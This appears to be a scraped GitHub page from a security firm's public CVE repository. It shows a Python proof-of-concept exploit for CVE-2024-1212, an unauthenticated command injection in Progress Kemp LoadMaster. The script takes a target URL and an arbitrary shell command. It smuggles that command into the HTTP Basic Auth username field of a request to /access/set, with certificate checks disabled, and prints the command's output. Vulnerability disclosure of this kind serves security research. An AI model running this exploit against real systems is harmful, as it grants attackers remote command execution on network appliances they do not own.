

Product Solutions Resources Open Source Enterprise Pricing

Search

Sign in

Sign up

RhinoSecurityLabs / CVEs

Public

Notifications

Fork 240

Star 796

<> Code

Issues

Pull requests

Actions

Security

Insights

Files

15cf4d8

Go to file

.github

CVE-2016-3053

CVE-2016-6079

CVE-2016-8972

CVE-2017-12860

CVE-2017-12861

CVE-2017-7279

CVE-2017-7280

CVE-2017-7281

CVE-2017-7282

CVE-2017-7283

CVE-2017-7284

CVE-2018-1000110

CVE-2018-1335

CVE-2018-20621

CVE-2018-5757

CVE-2018-5758

CVE-2018-8024

CVE-2019-0227

CVE-2019-16116

CVE-2019-16864

CVE-2019-3722

CVE-2019-5674

CVE-2019-5678

CVE-2019-9757

CVE-2019-9758

CVE-2019-9926

CVE-2020-13405

CVE-2020-5377_CVE-2021-215...

CVE-2021-38112

CVE-2022-25165

CVE-2022-25166

CVE-2022-25237

CVE-2022-25372

CVE-2023-43118

CVE-2023-43119

CVEs / CVE-2024-1212 / CVE-2024-1212.py

...

./ DaveYesland update link and wording ✓

d3f0d70 · 8 months ago

History

Code Blame 33 lines (26 loc) · 1.17 KB

Raw Copy Download Compare

1 # Exploit for CVE-2024-1212: Unauthenticated command injection in Progress Kemp LoadMas

2 # Tested on: LoadMaster 7.2.59.0.22007

3 # Author: Dave Yesland @daveysec with Rhino Security Labs

4

5 import requests

6 from requests.auth import HTTPBasicAuth

7 import argparse

8

9 requests.packages.urllib3.disable_warnings()

10

11 argparser = argparse.ArgumentParser(description="Exploit for CVE-2024-1212: Unauthentic

12 argparser.add_argument('target', help='The target (https://LoadmasterIP)')

13 argparser.add_argument('command', help='The command to run')

14 args = argparser.parse_args()

15

16 target = args.target

17 command = args.command

18

19 normal_headers = ["Date", "Connection", "Content-Type", "Transfer-Encoding"]

20

21 # Fix colons as it will break the basic auth

22 command = command.replace(":", "\$'\x3a'")

23

24 url = f"{target}/access/set?param=enableapi&value=1"

25 r = requests.get(url, auth=HTTPBasicAuth(f"";{command};echo '", "anything"), verify=False

26 for key, value in r.headers.items():

27 if key not in normal_headers:

28 print(f"{key}: {value}")

29 for line in r.text.splitlines():







30 if line == ' -p anything':

31 break

32 else:

33 print(line)

Page 1 of 2

- >  CVE-2023-43120
- >  CVE-2023-43121
- >  CVE-2023-47320
- >  CVE-2023-47321
- >  CVE-2023-47322
- >  CVE-2023-47323